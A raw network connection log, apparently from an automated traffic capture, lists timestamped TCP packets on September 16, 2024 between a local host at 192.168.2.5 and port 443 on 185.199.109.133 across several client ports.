Sep 16, 2024 08:22:39.282871008 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.282879114 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.282892942 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.282924891 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.283113003 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.283133030 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.283176899 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.283184052 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.283222914 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.284194946 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.284210920 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.284267902 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.284275055 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.284313917 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.284324884 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.284532070 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.284548044 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.284584999 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.284593105 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.284616947 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.284627914 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.355427980 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.355473042 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.355537891 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.367695093 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.367713928 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.367769003 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.367789984 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.367834091 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.367846012 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.368103981 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.368119001 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.368171930 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.368180037 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.368237019 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.368473053 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.368485928 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.368532896 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.368541956 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.368560076 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.368580103 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.369198084 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.369214058 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.369257927 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.369265079 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.369286060 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.369303942 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.369601965 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.369618893 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.369656086 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.369663954 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.369688988 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.369713068 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.370044947 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.370062113 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.370099068 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.370105982 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.370126963 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.370143890 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.370906115 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.370922089 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.370980978 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.370989084 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.371103048 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.371428967 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.371444941 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.371501923 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.371510029 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.371587038 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.419430017 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.419508934 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.427584887 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.454583883 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.454607010 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.454655886 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.454673052 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.454699993 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.454724073 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.454998970 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.455013990 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.455061913 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.455080032 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.455102921 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.455122948 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.455517054 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.455532074 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.455585957 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.455600977 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.455719948 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.456008911 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.456023932 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.456075907 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.456101894 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.456480980 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.456501007 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.456556082 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.456556082 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.456574917 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.456692934 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.456892967 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.456907988 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.456965923 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.456979036 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.457026958 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.457657099 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.457670927 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.457727909 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.457741976 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.457787991 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.458144903 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.458159924 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.458208084 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.458220959 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.458249092 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.458270073 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.496972084 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.497003078 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.497035027 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.497071028 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.497078896 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.497128963 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.497149944 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.497167110 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.497198105 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.497198105 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.497198105 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.497198105 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.497206926 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.497242928 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.497262955 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.497282982 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.497333050 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.497333050 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.497333050 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.497333050 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.497333050 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.504710913 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.529217005 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.541436911 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.541459084 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.541520119 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.541552067 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.541872025 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.541886091 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.541893959 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.541912079 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.541914940 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.541949987 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.542253017 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.542269945 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.542305946 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.542314053 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.542332888 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.542352915 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.542687893 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.542705059 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.542747974 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.542756081 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.542772055 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.542792082 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.543051958 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.543072939 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.543111086 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.543117046 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.543140888 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.543152094 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.543349981 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.543365955 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.543407917 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.543416023 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.543804884 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.544426918 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.544445992 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.544485092 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.544492006 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.544516087 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.544524908 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.544866085 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.544883013 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.544920921 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.544926882 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.544953108 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.544960976 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.563431978 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.563512087 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.610966921 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611026049 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611058950 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611107111 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611124039 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611165047 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611196995 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611196995 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611215115 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611244917 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611267090 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611290932 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611290932 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611304045 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611327887 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611376047 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611376047 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611408949 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611444950 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611485958 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611489058 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611511946 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611515045 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611526012 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611557007 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611572981 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611599922 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611602068 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611624956 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611632109 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611645937 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611668110 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611680031 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611707926 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611712933 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611726046 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611752987 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611758947 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611758947 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611778021 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.611783981 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611830950 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.611830950 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.629232883 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.629262924 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.629323006 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.629394054 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.629448891 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.629448891 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.629703045 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.629720926 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.629764080 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.629813910 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.703413963 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.703475952 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.823411942 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.835450888 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:39.867834091 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:39.969506025 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:40.079437017 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:40.079507113 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:40.123440981 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:40.123501062 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:40.127415895 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:40.127487898 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:40.195429087 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:40.195512056 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:40.507447958 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:40.507535934 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:40.671446085 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:40.673820019 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:40.955447912 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:40.955591917 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:41.052071095 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:41.052092075 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:41.052109957 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:41.052165985 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:41.052172899 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:41.052182913 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:41.052201986 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:41.052213907 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:41.052225113 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:41.052232981 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:41.052251101 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:41.052267075 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:41.052272081 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:41.052289009 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:41.052313089 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:41.052333117 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:41.052337885 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:41.052356958 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:41.052376986 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:41.052385092 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:41.052419901 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:41.052449942 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:41.115861893 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:41.189945936 CEST	49739	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:41.263411045 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:41.263467073 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:41.371449947 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:41.371529102 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:41.563447952 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:41.563589096 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:41.695417881 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:41.697953939 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:42.527416945 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:42.527468920 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:42.623399019 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:42.623459101 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:43.067430973 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:43.067512989 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:43.279860973 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:43.355453968 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:43.355586052 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:44.187412024 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.187479019 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:44.884633064 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:44.884694099 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.884726048 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.884764910 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:44.884783983 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.884810925 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.884835005 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:44.884850979 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.884871006 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.884905100 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:44.884905100 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:44.884905100 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:44.884922981 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.884948015 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.884974003 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.884999990 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.885026932 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:44.885026932 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:44.885026932 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:44.885042906 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.885071993 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.885096073 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.885153055 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.885179996 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.885210037 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:44.885210037 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:44.885210037 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:44.885210037 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:44.885235071 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.885262012 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.885297060 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:44.885327101 CEST	49738	443	192.168.2.5	185.199.109.133
